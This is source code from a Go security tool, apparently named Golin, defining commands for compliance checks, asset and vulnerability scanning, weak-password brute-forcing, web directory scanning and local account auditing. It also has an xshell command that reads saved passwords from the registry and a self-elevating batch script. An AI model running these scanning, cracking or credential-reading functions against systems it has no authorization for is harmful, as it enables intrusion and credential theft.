10 | var oracleCmd = &cobra.Command{
11 | Use: "oracle",
12 | Short: "运行采集oracle安全配置核查功能",
13 | Long: `基于远程登录功能,通过多线程的方法批量进行采集`,
14 | Run: run.Oraclestart,
15 | }
16 |
17 | func init() {
18 | rootCmd.AddCommand(oracleCmd)
19 | oracleCmd.Flags().StringP("ip", "i", global.CmdOraclePath, "此参数是指定待远程采集的IP文件位置")
20 | oracleCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
21 | oracleCmd.Flags().StringP("value", "v", "", "此参数是单次执行")
22 | oracleCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出")
23 | }
24 |
--------------------------------------------------------------------------------
/cmd/pgsql.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/global"
6 | "golin/run"
7 | )
8 |
9 | // linuxCmd represents the linux command
10 | var pgsqlCmd = &cobra.Command{
11 | Use: "pgsql",
12 | Short: "运行采集PostgreSQL安全配置核查功能",
13 | Long: `基于远程登录功能,通过多线程的方法批量进行采集`,
14 | Run: run.Pgsqlstart,
15 | }
16 |
17 | func init() {
18 | rootCmd.AddCommand(pgsqlCmd)
19 | pgsqlCmd.Flags().StringP("ip", "i", global.CmdPgsqlPath, "此参数是指定待远程采集的IP文件位置")
20 | pgsqlCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
21 | pgsqlCmd.Flags().StringP("value", "v", "", "此参数是单次执行")
22 | pgsqlCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出")
23 | }
24 |
--------------------------------------------------------------------------------
/cmd/redis.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "golin/global"
5 | "golin/run"
6 |
7 | "github.com/spf13/cobra"
8 | )
9 |
10 | // redisCmd represents the redis command
11 | var redisCmd = &cobra.Command{
12 | Use: "redis",
13 | Short: "运行采集Redis安全配置核查功能",
14 | Long: `基于Redis的远程登录功能,通过多线程进行采集,基于info字段中的值判断,写入待采集文件主机时用户名为空即可。`,
15 | Run: run.Redis,
16 | }
17 |
18 | func init() {
19 | rootCmd.AddCommand(redisCmd)
20 | redisCmd.Flags().StringP("ip", "i", global.CmdRedisPath, "此参数是指定待远程采集的IP文件位置")
21 | redisCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
22 | redisCmd.Flags().StringP("value", "v", "", "此参数是指定执行单个设备")
23 |
24 | }
25 |
--------------------------------------------------------------------------------
/cmd/root.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "fmt"
5 | "github.com/fatih/color"
6 | "golin/global"
7 | "os"
8 |
9 | "github.com/spf13/cobra"
10 | )
11 |
12 | // rootCmd represents the base command when called without any subcommands
13 | var rootCmd = &cobra.Command{
14 | Use: "golin",
15 | Short: "弱口令检测、 漏洞扫描、端口扫描(协议识别,组件识别)、等保模拟定级、自动化运维、等保工具",
16 | Long: `主机存活探测、漏洞扫描、子域名扫描、端口扫描、各类服务数据库爆破、poc扫描、xss扫描、webtitle探测、web指纹识别、web敏感信息泄露、web目录浏览、web文件下载、等保安全风险问题风险自查等; 弱口令/未授权访问:40余种; WEB组件识别:300余种; 漏洞扫描:XSS、任意文件访问、任意命令执行、敏感信息泄露、默认账户密码...; 资产扫描:扫描存活主机->判断存活端口->识别协议/组件->基于组件协议进行弱口令、漏洞扫描->输出报告`,
17 | }
18 |
19 | func Execute() {
20 | err := rootCmd.Execute()
21 | if err != nil {
22 | os.Exit(1)
23 | }
24 | }
25 |
26 | func init() {
27 | golin := fmt.Sprintf(`
28 |
29 | ▄████ ▒█████ ██▓ ██▓ ███▄ █
30 | ██▒ ▀█▒▒██▒ ██▒▓██▒ ▓██▒ ██ ▀█ █
31 | ▒██░▄▄▄░▒██░ ██▒▒██░ ▒██▒▓██ ▀█ ██▒
32 | ░▓█ ██▓▒██ ██░▒██░ ░██░▓██▒ ▐▌██▒
33 | ░▒▓███▀▒░ ████▓▒░░██████▒░██░▒██░ ▓██░
34 | ░▒ ▒ ░ ▒░▒░▒░ ░ ▒░▓ ░░▓ ░ ▒░ ▒ ▒
35 | ░ ░ ░ ▒ ▒░ ░ ░ ▒ ░ ▒ ░░ ░░ ░ ▒░
36 | ░ ░ ░ ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ░ ░
37 | ░ ░ ░ ░ ░ ░ ░
38 |
39 | `)
40 |
41 | fmt.Printf("%s\nVersion: %s\ngithub : %s\nauthor : %s\n\n",
42 | color.GreenString("%s", golin),
43 | color.GreenString("%s %s", global.Version, global.Releasenotes),
44 | color.BlueString("%s", "https://github.com/selinuxG/Golin"),
45 | color.MagentaString("%s", "gaoyeshang -> VX:SelinuxG"),
46 | )
47 | }
48 |
--------------------------------------------------------------------------------
/cmd/route.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "golin/global"
5 | "golin/run"
6 |
7 | "github.com/spf13/cobra"
8 | )
9 |
10 | // routeCmd represents the route command
11 | var routeCmd = &cobra.Command{
12 | Use: "route",
13 | Short: "运行采集网络设备安全配置核查功能",
14 | Long: `基于SSH的功能进行采集`,
15 | Run: run.Route,
16 | }
17 |
18 | func init() {
19 | rootCmd.AddCommand(routeCmd)
20 | routeCmd.Flags().StringP("ip", "i", global.CmdRoutepath, "此参数是指定待远程采集的IP文件位置")
21 | routeCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出")
22 | routeCmd.Flags().StringP("cmd", "c", "", "此参数是指定待自定义执行的命令文件")
23 | routeCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
24 | routeCmd.Flags().StringP("cmdvalue", "C", "", "此参数是自定义执行命令(比-c优先级高)")
25 | }
26 |
--------------------------------------------------------------------------------
/cmd/scan.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/scan"
6 | )
7 |
8 | // ScanCmd represents the port command
9 | var ScanCmd = &cobra.Command{
10 | Use: "scan",
11 | Short: "资产测绘、协议识别、漏洞扫描",
12 | Run: scan.ParseFlags,
13 | }
14 |
15 | func init() {
16 | rootCmd.AddCommand(ScanCmd)
17 | ScanCmd.Flags().StringP("ip", "i", "", "此参数是扫描的IP地址,格式支持192.168.1.1,192.168.1.1/24,192.168.1-10")
18 | ScanCmd.Flags().StringP("ipfile", "", "ip.txt", "此参数是扫描的IP文件,一行一个")
19 | ScanCmd.Flags().StringP("port", "p", "0", "此参数是指定的端口,不支持则默认端口,格式支持1,2,3,2-20")
20 | ScanCmd.Flags().StringP("exclude", "e", "", "此参数排除扫描的端口,格式支持:1,2,3")
21 | ScanCmd.Flags().StringP("excludeip", "", "noip.txt", "此参数排除扫描的IP")
22 | ScanCmd.Flags().Bool("noping", false, "此参数是禁止ping检测")
23 | ScanCmd.Flags().IntP("chan", "c", 100, "并发数量")
24 | ScanCmd.Flags().IntP("time", "t", 5, "超时等待时常/s")
25 | ScanCmd.Flags().IntP("done", "", 10, "端口整体扫描最长用时/m")
26 | ScanCmd.Flags().Bool("random", false, "打乱主机顺序")
27 | ScanCmd.Flags().Bool("img", false, "此参数进行保存WEB截图")
28 | ScanCmd.Flags().Bool("nocrack", false, "此参数是不进行弱口令扫描")
29 | ScanCmd.Flags().Bool("nopoc", false, "此参数是不进行poc漏洞扫描")
30 | ScanCmd.Flags().StringP("userfile", "", "", "此参数是自定义用户字典文件")
31 | ScanCmd.Flags().StringP("passwdfile", "", "", "此参数是自定义密码字典文件")
32 | ScanCmd.Flags().StringP("fofa", "", "", "此参数是调用fofa数据进行扫描")
33 | ScanCmd.Flags().IntP("fofasize", "", 100, "获取多少条fofa数据")
34 | ScanCmd.Flags().Bool("web", false, "此参数是仅扫描常用web端口")
35 | ScanCmd.Flags().Bool("dbs", false, "此参数是仅扫描常用数据库端口")
36 | ScanCmd.Flags().Bool("risk", false, "此参数是仅扫描高危端口")
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/cmd/sqlserver.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/global"
6 | "golin/run"
7 | )
8 |
9 | // linuxCmd represents the linux command
10 | var sqlServerCmd = &cobra.Command{
11 | Use: "sqlserver",
12 | Short: "运行采集sqlserver安全配置核查功能",
13 | Long: `基于远程登录功能,通过多线程的方法批量进行采集`,
14 | Run: run.SqlServer,
15 | }
16 |
17 | func init() {
18 | rootCmd.AddCommand(sqlServerCmd)
19 | sqlServerCmd.Flags().StringP("ip", "i", global.CmdsqlServerPath, "此参数是指定待远程采集的IP文件位置")
20 | sqlServerCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符")
21 | sqlServerCmd.Flags().StringP("value", "v", "", "此参数是单次执行")
22 | sqlServerCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出")
23 | }
24 |
--------------------------------------------------------------------------------
/cmd/update.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "github.com/fatih/color"
7 | "github.com/spf13/cobra"
8 | "golin/global"
9 | "io"
10 | "net/http"
11 | "net/url"
12 | "os"
13 | "runtime"
14 | "strconv"
15 | "strings"
16 | )
17 |
18 | // updateCmd represents the update command
19 | var updateCmd = &cobra.Command{
20 | Use: "update",
21 | Short: "检查更新程序",
22 | Long: `通过api.github.com进行检查更新程序`,
23 | Run: func(cmd *cobra.Command, args []string) {
24 | newrelease, err := global.CheckForUpdate()
25 | if err != nil {
26 | fmt.Println("更新失败:", err)
27 | return
28 | }
29 | var input string
30 | fmt.Print("是否下载GitHub仓库最新版本程序?y/n: ")
31 | for {
32 | _, err := fmt.Scanln(&input)
33 | if err != nil {
34 | fmt.Println("发生错误:", err)
35 | continue
36 | }
37 | input = strings.ToLower(input) //所有大写转换为小写
38 | switch input {
39 | case "y", "yes":
40 | proxy, _ := cmd.Flags().GetString("proxy")
41 | BrowserDownloadUrl, savaname := "", ""
42 | switch runtime.GOOS {
43 | case "windows":
44 | savaname = "golin.exe"
45 | BrowserDownloadUrl = fmt.Sprintf("https://github.com/selinuxG/Golin/releases/download/%s/%s", newrelease.TagName, savaname)
46 | case "linux":
47 | savaname = "golin_linux_amd64"
48 | BrowserDownloadUrl = fmt.Sprintf("https://github.com/selinuxG/Golin/releases/download/%s/%s", newrelease.TagName, savaname)
49 | case "drawin":
50 | savaname = "golin_drawin_amd64"
51 | BrowserDownloadUrl = fmt.Sprintf("https://github.com/selinuxG/Golin/releases/download/%s/%s", newrelease.TagName, savaname)
52 | }
53 | err := downloadFile(BrowserDownloadUrl, savaname, proxy)
54 | if err != nil {
55 | fmt.Println("更新失败->", err)
56 | return
57 | }
58 | os.Exit(0)
59 | case "n", "no":
60 | fmt.Println("已取消更新...")
61 | os.Exit(0)
62 | default:
63 | fmt.Printf("输入无效,请输入y/n:")
64 | continue
65 | }
66 | }
67 | }}
68 |
69 | func init() {
70 | rootCmd.AddCommand(updateCmd)
71 | updateCmd.Flags().StringP("proxy", "p", "", "此参数是指定代理ip(仅允许http/https代理哦)")
72 | }
73 |
74 | // getFileSize 返回文件大小
75 | func getFileSize(path string) (int64, error) {
76 | fileInfo, err := os.Stat(path)
77 | if err != nil {
78 | return 0, err
79 | }
80 | fileInfo.ModTime()
81 |
82 | return fileInfo.Size(), nil
83 | }
84 |
85 | // downloadFile 下载更新
86 | func downloadFile(downurl, localPath, proxy string) error {
87 | client := http.Client{}
88 | if proxy != "" {
89 | urli := url.URL{}
90 | urlproxy, err := urli.Parse(proxy)
91 | if err != nil {
92 | fmt.Println("无法连接代理IP!", proxy)
93 | return nil
94 | }
95 | client = http.Client{
96 | Transport: &http.Transport{
97 | Proxy: http.ProxyURL(urlproxy),
98 | },
99 | }
100 | }
101 | resp, err := client.Get(downurl)
102 | if err != nil {
103 | return fmt.Errorf("无法下载文件:%v", err)
104 | }
105 | defer resp.Body.Close()
106 |
107 | if resp.StatusCode != http.StatusOK {
108 | return fmt.Errorf("下载失败,状态码:%d", resp.StatusCode)
109 | }
110 |
111 | // 获取文件大小
112 | fileSize, _ := strconv.Atoi(resp.Header.Get("Content-Length"))
113 | var progressed int
114 |
115 | // 获取当前程序完整位置
116 | exe, err := os.Executable()
117 | if err != nil {
118 | return nil
119 | }
120 | // 当前旧版程序重命名实现备份效果
121 | os.Remove(exe + ".bak") //先移除之前的备份文件
122 | err = os.Rename(exe, exe+".bak")
123 | if err != nil {
124 | return err
125 | }
126 | // 写入最新版
127 | out, err := os.Create(localPath)
128 | if err != nil {
129 | return err
130 | }
131 | defer out.Close()
132 |
133 | reader := bufio.NewReader(resp.Body)
134 | buff := make([]byte, 1024)
135 | for {
136 | n, err := reader.Read(buff)
137 | if err != nil {
138 | if err != io.EOF {
139 | return err
140 | }
141 | break
142 | }
143 | _, err = out.Write(buff[:n])
144 | if err != nil {
145 | return err
146 | }
147 | progressed += n
148 | percentage := float64(progressed) / float64(fileSize) * 100
149 |
150 | percentStr := fmt.Sprintf("%.2f", percentage) // 将百分比值格式化为字符串
151 | fmt.Printf("\r更新进度: %s",
152 | color.RedString("%s", fmt.Sprintf("%s%%", percentStr)),
153 | )
154 |
155 | }
156 | fmt.Printf("\r更新进度: %s\n",
157 | color.GreenString("%s", fmt.Sprintf("%-7s", "100%")),
158 | )
159 | return nil
160 | }
161 |
--------------------------------------------------------------------------------
/cmd/user_users.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package cmd
4 |
5 | import (
6 | "fmt"
7 | wapi "github.com/iamacarpet/go-win64api"
8 | "github.com/olekukonko/tablewriter"
9 | "github.com/spf13/cobra"
10 | "os"
11 | "strings"
12 | "time"
13 | )
14 |
15 | var userCmd = &cobra.Command{
16 | Use: "users",
17 | Short: "获取用户信息",
18 | Run: checkusers,
19 | }
20 |
21 | func init() {
22 | rootCmd.AddCommand(userCmd)
23 | }
24 |
25 | func checkusers(cmd *cobra.Command, args []string) {
26 | users, err := wapi.ListLocalUsers()
27 | if err != nil {
28 | fmt.Printf("\033[31m错误:获取用户列表失败 (%v)\033[0m\n", err)
29 | return
30 | }
31 |
32 | table := tablewriter.NewWriter(os.Stdout)
33 | table.SetAutoFormatHeaders(false)
34 | table.SetHeader([]string{
35 | "用户名",
36 | "全名",
37 | "账户状态",
38 | "管理用户",
39 | "密码策略",
40 | "最后登录",
41 | "用户类型",
42 | })
43 |
44 | table.SetColWidth(100) // 增大列宽
45 | table.SetAutoWrapText(false) // 禁止自动换行
46 | table.SetHeaderAlignment(tablewriter.ALIGN_CENTER)
47 | table.SetAlignment(tablewriter.ALIGN_LEFT)
48 | table.SetRowLine(true) // 启用行间分隔线
49 |
50 | for _, u := range users {
51 | if u.Username == "" {
52 | continue
53 | }
54 |
55 | table.Append([]string{
56 | u.Username,
57 | u.FullName,
58 | formatAccountStatus(u.IsEnabled, u.IsLocked),
59 | formatAdminStatus(u.IsAdmin),
60 | formatPasswordPolicy(u.PasswordNeverExpires, u.NoChangePassword),
61 | formatLastLogon(u.LastLogon),
62 | detectShadowAccount(u.Username),
63 | })
64 | }
65 |
66 | table.Render()
67 | }
68 |
69 | func formatAccountStatus(enabled, locked bool) string {
70 | var status []string
71 | if !enabled {
72 | status = append(status, "\033[31m❌禁用")
73 | }
74 | if locked {
75 | status = append(status, "\033[33m⚠️锁定")
76 | }
77 | if len(status) == 0 {
78 | return "\033[32m✅正常"
79 | }
80 | return strings.Join(status, "\n")
81 | }
82 |
83 | // 管理员状态显示
84 | func formatAdminStatus(isAdmin bool) string {
85 | if isAdmin {
86 | return "\033[32m● 是"
87 | }
88 | return "\033[37m○ 否"
89 | }
90 |
91 | func formatPasswordPolicy(neverExpires, noChange bool) string {
92 | var policies []string
93 | if neverExpires {
94 | policies = append(policies, "\033[31m永不过期")
95 | }
96 | if noChange {
97 | policies = append(policies, "\033[33m不可修改")
98 | }
99 | if len(policies) == 0 {
100 | return "\033[2m-"
101 | }
102 | return strings.Join(policies, " | ")
103 | }
104 |
105 | func formatLastLogon(t time.Time) string {
106 | if t.IsZero() || t.Unix() <= 0 {
107 | return "\033[2m从未登录"
108 | }
109 | return t.Local().Format("2006-01-02 15:04")
110 | }
111 |
112 | func detectShadowAccount(username string) string {
113 | if strings.HasSuffix(username, "$") {
114 | return "\033[31m🚨 影子账户"
115 | }
116 | defauleuser := []string{"defaultaccount", "administrator", "WDAGUtilityAccount", "guest"}
117 | for _, u := range defauleuser {
118 | if strings.EqualFold(username, u) {
119 | return "\033[33m⚠️ 默认账户"
120 | }
121 | }
122 |
123 | return "\033[2m-"
124 | }
125 |
--------------------------------------------------------------------------------
/cmd/web.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/web"
6 | )
7 |
8 | // execlCmd represents the execl command
9 | var webCmd = &cobra.Command{
10 | Use: "web",
11 | Short: "web形式运行",
12 | Long: `通过gin实现资产任务下发`,
13 | Run: web.Start,
14 | }
15 |
16 | func init() {
17 | rootCmd.AddCommand(webCmd)
18 | webCmd.Flags().StringP("port", "p", "1818", "指定运行端口")
19 | webCmd.Flags().StringP("ip", "i", "127.0.0.1", "指定运行网卡ip")
20 | webCmd.Flags().BoolP("save", "s", false, "是否额外保存文件")
21 |
22 | }
23 |
--------------------------------------------------------------------------------
/cmd/windows.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package cmd
4 |
5 | import (
6 | "fmt"
7 | "github.com/spf13/cobra"
8 | "golin/global"
9 | "golin/run/windows"
10 | "os"
11 | "os/exec"
12 | "strings"
13 | )
14 |
15 | var batname = "GoLin_win.bat"
16 |
17 | // windowsCmd represents the execl command
18 | var windowsCmd = &cobra.Command{
19 | Use: "windows",
20 | Short: "读取安全策略生成html",
21 | Long: `读取安全策略生成html`,
22 | Run: func(cmd *cobra.Command, args []string) {
23 | switch global.PathExists(batname) {
24 | case true:
25 | windows.Windows() //这是主程序
26 | defer func(name string) {
27 | _ = os.Remove(name)
28 | }(batname)
29 | case false:
30 | restartWindows()
31 | default:
32 | }
33 | },
34 | }
35 |
36 | func init() {
37 | rootCmd.AddCommand(windowsCmd)
38 | }
39 |
40 | // restart_windows 此函数用于生成提权的bat文件,重新执行Windows模式
41 | func restartWindows() {
42 | exePath, err := os.Executable()
43 | if err != nil {
44 | fmt.Printf("[-] 获取Golin执行绝对路径失败!\n")
45 | os.Exit(0)
46 | }
47 |
48 | batstring := `
49 | @echo off
50 | net session >nul 2>&1
51 | if %errorLevel% == 0 (
52 | echo Running with admin privileges...
53 | ) else (
54 | echo Requesting admin privileges...
55 | :: Run this script again with admin privileges
56 | PowerShell -Command "Start-Process cmd.exe -Verb runAs -ArgumentList '/c %~dpnx0'"
57 | exit /B
58 | )
59 | cd /D %~dp0
60 | start "" "golinpath" windows
61 | exit /B
62 | `
63 | batstring = strings.ReplaceAll(batstring, "golinpath", exePath)
64 | err = global.AppendToFile(batname, batstring)
65 | if err != nil {
66 | fmt.Printf("[-] 写入提权bat文件失败!\n")
67 | os.Exit(0)
68 | }
69 | _ = exec.Command("cmd", "/C", batname).Run()
70 | }
71 |
--------------------------------------------------------------------------------
/cmd/xshell.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "github.com/spf13/cobra"
5 | "golin/run/xshell"
6 | )
7 |
8 | var XshellCmd = &cobra.Command{
9 | Use: "xshell",
10 | Short: "获取本机xshell配置信息",
11 | Long: `基于Software\PremiumSoft注册表读取账号密码等信息`,
12 | Run: xshell.Run,
13 | }
14 |
15 | func init() {
16 | rootCmd.AddCommand(XshellCmd)
17 | }
18 |
--------------------------------------------------------------------------------
/config/zap.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "go.uber.org/zap"
5 | "go.uber.org/zap/zapcore"
6 | "golin/global"
7 | "gopkg.in/natefinch/lumberjack.v2"
8 | "os"
9 | )
10 |
11 | var (
12 | Log *zap.Logger
13 | )
14 |
15 | func init() {
16 | consoleEncoder := zapcore.NewConsoleEncoder(zapcore.EncoderConfig{
17 | TimeKey: "time",
18 | LevelKey: "level",
19 | NameKey: "logger",
20 | MessageKey: "msg",
21 | CallerKey: "caller",
22 | EncodeLevel: zapcore.CapitalLevelEncoder, //CapitalColorLevelEncoder 彩色输出
23 | EncodeTime: zapcore.TimeEncoderOfLayout("2006-01-02 15:04:05"),
24 | LineEnding: zapcore.DefaultLineEnding,
25 | EncodeDuration: zapcore.SecondsDurationEncoder,
26 | EncodeCaller: zapcore.ShortCallerEncoder,
27 | // 添加字段分隔符和缩进
28 | ConsoleSeparator: " ",
29 | })
30 | // 创建控制台输出的核心对象,设置级别为 info
31 | consoleDebugging := zapcore.Lock(os.Stdout)
32 | consoleCore := zapcore.NewCore(consoleEncoder, consoleDebugging, zap.InfoLevel)
33 |
34 | // 创建文件输出的核心对象,设置级别为 warn
35 | fileEncoder := zapcore.NewJSONEncoder(zapcore.EncoderConfig{
36 | TimeKey: "time",
37 | LevelKey: "level",
38 | NameKey: "logger",
39 | MessageKey: "msg",
40 | CallerKey: "caller",
41 | EncodeCaller: zapcore.ShortCallerEncoder,
42 | EncodeLevel: zapcore.CapitalLevelEncoder,
43 | EncodeTime: zapcore.TimeEncoderOfLayout("2006-01-02 15:04:05"),
44 | LineEnding: zapcore.DefaultLineEnding,
45 | EncodeDuration: zapcore.SecondsDurationEncoder,
46 | })
47 | fileDebugging := zapcore.Lock(zapcore.AddSync(&lumberjack.Logger{
48 | Filename: global.SuccessLog,
49 | MaxSize: 100, // MB
50 | MaxBackups: 3,
51 | MaxAge: 30, // days
52 | }))
53 | fileCore := zapcore.NewCore(fileEncoder, fileDebugging, zap.WarnLevel)
54 | // 合并两个核心对象
55 | core := zapcore.NewTee(consoleCore, fileCore)
56 | // 创建logger
57 | Log = zap.New(core, zap.AddCaller())
58 |
59 | }
60 |
--------------------------------------------------------------------------------
/dirscan/StatusCode.go:
--------------------------------------------------------------------------------
1 | package dirscan
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "github.com/PuerkitoBio/goquery"
7 | "github.com/fatih/color"
8 | Protocol2 "golin/Protocol"
9 | "strconv"
10 | "strings"
11 | "sync"
12 | )
13 |
14 | var (
15 | succeCount = 0
16 | lock sync.Mutex
17 | )
18 |
19 | type UrlStatus struct {
20 | Url string //url地址
21 | Code int //状态码
22 | Title string //标题
23 | ContentType string //媒体类型
24 | Line int //行数
25 | App string //组件
26 | info []string //漏洞
27 | }
28 |
29 | var ContentType = map[string]string{
30 | "application/zip": "文件下载",
31 | "application/octet-stream": "文件下载",
32 | "text/xml": "疑似敏感接口",
33 | "application/xml": "疑似敏感接口",
34 | "application/json": "疑似敏感接口",
35 | "multipart/form-data": "文件上传",
36 | "video/avi": "文件下载",
37 | "audio/x-wav": "文件下载",
38 | "audio/x-ms-wma": "文件下载",
39 | "audio/mp3": "文件下载",
40 | "video/mpeg4": "文件下载",
41 | "application/javascript": "JavaScript脚本文件",
42 | "image/jpeg": "图片文件",
43 | "image/png": "图片文件",
44 | "application/pdf": "PDF文件下载",
45 | "application/msword": "Word文档下载",
46 | "application/vnd.ms-excel": "Excel文档下载",
47 | "image/gif": "图片文件",
48 | "image/tiff": "图片文件",
49 | "video/mp4": "视频文件下载",
50 | "video/webm": "视频文件下载",
51 | "audio/ogg": "音频文件下载",
52 | "audio/mpeg": "音频文件下载",
53 | "application/sql": "数据库文件",
54 | "application/rtf": "RTF文件下载",
55 | "application/x-shockwave-flash": "Flash文件下载",
56 | }
57 |
58 | func isStatusCodeOk(URL string) {
59 | defer func() {
60 | wg.Done()
61 | <-ch
62 | doSomething()
63 | // succeCount += 1 // 每次结束数量加一
64 | percent()
65 | }()
66 | if request == nil {
67 | return
68 | }
69 |
70 | req := request.Clone().Get(URL) // 使用 Clone() 方法创建请求对象
71 | if req == nil {
72 | return
73 | }
74 |
75 | resp, body, errs := req.EndBytes() // 使用 EndBytes() 方法获取响应和响应体
76 | if len(errs) > 0 || resp == nil {
77 | return
78 | }
79 |
80 | if statusCodeInRange(resp.StatusCode, code) {
81 | fmt.Print("\033[2K") // 擦除整行
82 | // 查找 title
83 | title := ""
84 | doc, err := goquery.NewDocumentFromReader(bytes.NewReader(body)) // 使用响应体创建文档对象
85 | if err == nil {
86 | title = doc.Find("title").Text()
87 | }
88 |
89 | line := bytes.Count(body, []byte("\n")) // 行数
90 | contype := resp.Header.Get("Content-Type")
91 | contype = strings.Split(contype, ";")[0]
92 |
93 | yesurl := UrlStatus{
94 | Url: URL,
95 | Code: resp.StatusCode,
96 | Title: title,
97 | ContentType: contype,
98 | Line: line,
99 | }
100 |
101 | if strings.Contains(strings.ToLower(title), "index of") {
102 | yesurl.info = append(yesurl.info, "目录浏览漏洞")
103 | }
104 |
105 | for k, v := range ContentType {
106 | if strings.Contains(contype, k) {
107 | yesurl.info = append(yesurl.info, v)
108 | }
109 | }
110 |
111 | check, xss := Protocol2.CheckXss(URL, body)
112 | if check {
113 | yesurl.info = append(yesurl.info, fmt.Sprintf("xss:%s", xss))
114 | }
115 | yesurl.App = Protocol2.CheckApp(string(body), resp.Header, req.Cookies, resp.Header.Get("Server")) // 匹配组件
116 |
117 | _ = AppendUrlStatusToFile(yesurl) // 写入文件
118 |
119 | fmt.Printf(echoinfo(yesurl, URL))
120 | }
121 | }
122 |
123 | // echoinfo 输出详细信息
124 | func echoinfo(yesurl UrlStatus, URL string) string {
125 | echo := ""
126 | if yesurl.App != "" {
127 | echo += color.GreenString("%s", fmt.Sprintf(" APP:「%s」", yesurl.App))
128 | }
129 |
130 | if len(yesurl.info) > 0 {
131 | echo += fmt.Sprintf("%s", color.RedString("%s ", fmt.Sprintf("[%s]", strings.Join(yesurl.info, ","))))
132 | }
133 |
134 | if yesurl.Title != "" {
135 | echo += fmt.Sprintf("%s", color.BlueString(" %s", fmt.Sprintf("title:「%s」 ", yesurl.Title)))
136 | }
137 | echo += fmt.Sprintf("%s", color.MagentaString("%s", fmt.Sprintf("ContentType:%s ", yesurl.ContentType)))
138 | echo += fmt.Sprintf("Code:%d Line:%d", yesurl.Code, yesurl.Line)
139 |
140 | return fmt.Sprintf("\r%-45s| %s \n", URL, echo)
141 |
142 | }
143 |
144 | // statusCodeInRange 确认切片状态是否在搜索队列中
145 | func statusCodeInRange(status int, rangeSlice []string) bool {
146 | strcode := strconv.Itoa(status)
147 | for _, v := range rangeSlice {
148 | if v == strcode {
149 | return true
150 | }
151 | }
152 | return false
153 | }
154 |
155 | // 加锁
156 | func doSomething() {
157 | lock.Lock()
158 | defer lock.Unlock()
159 | succeCount++
160 | }
161 |
162 | // FormatBytes 大小转换
163 | func FormatBytes(bytes int64) string {
164 | const (
165 | KB = 1024
166 | MB = 1024 * KB
167 | )
168 |
169 | switch {
170 | case bytes < KB:
171 | return fmt.Sprintf("%d B", bytes)
172 | case bytes < MB:
173 | return fmt.Sprintf("%.2f KB", float64(bytes)/KB)
174 | default:
175 | return fmt.Sprintf("%.2f MB", float64(bytes)/MB)
176 | }
177 | }
178 |
--------------------------------------------------------------------------------
/dirscan/StatusToFile.go:
--------------------------------------------------------------------------------
1 | package dirscan
2 |
3 | import (
4 | "encoding/json"
5 | "os"
6 | )
7 |
8 | var filename = "dirScan.json"
9 |
10 | // AppendUrlStatusToFile 写入成功url到dirScan.json文件
11 | func AppendUrlStatusToFile(status UrlStatus) error {
12 | var statuses []UrlStatus
13 | data, err := os.ReadFile(filename)
14 | if err == nil {
15 | err = json.Unmarshal(data, &statuses)
16 | if err != nil {
17 | return err
18 | }
19 | }
20 |
21 | statuses = append(statuses, status)
22 |
23 | data, err = json.MarshalIndent(statuses, "", " ")
24 | if err != nil {
25 | return err
26 | }
27 | err = os.WriteFile(filename, data, 0644)
28 | return err
29 | }
30 |
--------------------------------------------------------------------------------
/dirscan/parseFlags.go:
--------------------------------------------------------------------------------
1 | package dirscan
2 |
3 | import (
4 | "embed"
5 | "fmt"
6 | "github.com/parnurzeal/gorequest"
7 | "github.com/spf13/cobra"
8 | "golin/global"
9 | "os"
10 | "strings"
11 | "sync"
12 | "time"
13 | )
14 |
15 | var (
16 | spinnerChars = []string{"|", "/", "-", "\\"} //进度条更新动画
17 | code []string //扫描的状态
18 | mu sync.Mutex
19 | counter = 0 //当前已扫描的数量,计算百分比
20 | ch = make(chan struct{}, 30)
21 | wg = sync.WaitGroup{}
22 | proxyurl = "" //代理地址
23 | file = "" //读取的字典文件
24 | checkurl []string //扫描的url切片
25 | countall = 0
26 | request *gorequest.SuperAgent
27 | )
28 |
29 | //go:embed url.txt
30 | var urlData embed.FS
31 |
32 | func ParseFlags(cmd *cobra.Command, args []string) {
33 | url, _ := cmd.Flags().GetString("url")
34 | url = strings.TrimSuffix(url, "/") // 删除最后的/
35 |
36 | if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
37 | fmt.Printf("[-] URL需指定前缀!http or https!\n")
38 | return
39 | }
40 | chcount, _ := cmd.Flags().GetInt("chan")
41 | timeout, _ := cmd.Flags().GetInt("timeout")
42 | ch = make(chan struct{}, chcount)
43 |
44 | proxyurl, _ = cmd.Flags().GetString("proxy") //不为空则设置代理
45 | if proxyurl != "" {
46 | request = gorequest.New().Proxy(proxyurl).Timeout(time.Duration(timeout) * time.Second)
47 | } else {
48 | request = gorequest.New().Timeout(time.Duration(timeout) * time.Second)
49 | }
50 | Agent, _ := cmd.Flags().GetString("Agent") //如果Agent不为空则自定义User-Agent
51 | if Agent != "" {
